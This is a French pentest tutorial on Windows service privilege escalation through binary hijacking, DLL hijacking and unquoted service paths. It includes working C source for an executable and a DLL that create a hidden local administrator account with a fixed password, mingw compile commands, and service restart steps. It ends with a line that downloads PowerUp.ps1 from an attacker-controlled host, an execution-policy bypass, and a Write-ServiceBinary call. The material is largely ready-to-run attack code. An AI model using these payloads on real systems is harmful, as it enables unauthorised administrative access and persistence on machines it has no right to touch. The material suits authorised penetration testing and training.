Abuser des services

Les services Windows peuvent être abusés si ceux-ci ne sont pas correctement configurés. Si ce n’est pas le cas, il est possible de détourner le fonctionnement du service en modifiant par exemple certains de ces fichiers.

Pour identifier les services du système:

Get-Service | Where-Object {$_.Status -eq "Running"}
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Tip

Il est possible de lister les services à l’aide d’Evil-WinRM et de sa commande ‘services’.

Binary hijack

Le remplacement de binaire est possible lorsqu’un exécutable lié à un service ne bénéficie pas d’une bonne configuration au niveau de ces droits. Il peut être possible pour un attaquant d’avoir un accès en écriture à ce binaire et donc remplacer celui-ci par un autre contrôlé par l’attaquant. Le binaire de l’attaquant bénéficiera des droits d’exécution lié au service.

Les droits d’un fichier peuvent être vérifiés avec la commande suivante:

icacls .\Documents\BetaServ.exe

Si les droits d’écriture sont disponibles sur le fichier, il suffit ensuite de le remplacer, par exemple avec le code suivant:

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave2 password123! /add");
  i = system ("net localgroup administrators dave2 /add");
  i = system ("net localgroup 'Remote Management Users' dave2 /add");
  
  return 0;
}

De le compiler:

x86_64-w64-mingw32-gcc exploit.c -o exploit

Puis de redémarrer le service:

Restart-Service BetaService
# ou
net stop BetaService
net start BetaService

DLL hijack

Le remplacement de DLL est équivalent au remplacement de binaire et va se concentrer sur le remplacement de bibliothèque Windows (DLL). L’identification des bibliothèques utilisées par un service est possible à l’aide d’outils tels que ProcMon. La vérification des droits de chaque DLL est ensuite effectuée à l’aide d’icacls comme précédemment.

Voici un exemple de code d’exploitation pour créer un administrateur local sur la machine via une DLL:

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave2 password123! /add");
  	    i = system ("net localgroup administrators dave2 /add");
        i = system ("net localgroup 'Remote Management Users' dave2 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

La compilation peut ensuite s’effectuer à l’aide de Mingw32 :

x86_64-w64-mingw32-gcc exploit_dll.c --shared -o myDLL.dll

Unquoted services

Si un service a un chemin d’exécution contenant des espaces et que celui-ci n’est pas “quoté”, alors il peut potentiellement être détourné. En effet, pour un service dont le chemin est C:\Program Files\My Program\My Service\service.exe, Windows tentera les chemins d’exécution dans l’ordre suivant :

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

L’identification de ces services peut être effectuée à l’aide de la commande (cmd) suivante:

wmic service get name,pathname | findstr /i /v """

Si l’un des chemins est inscriptible, il est donc possible de détourner l’exécution du service. A l’aide de PowerUp, il est par exemple possible d’automatiser l’exploitation de cette faille:

iwr -uri "http://$ATTACK_IP/PowerUp.ps1" -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps
Write-ServiceBinary -Name 'My Service' -Path "C:\Program Files\My Program\My.exe"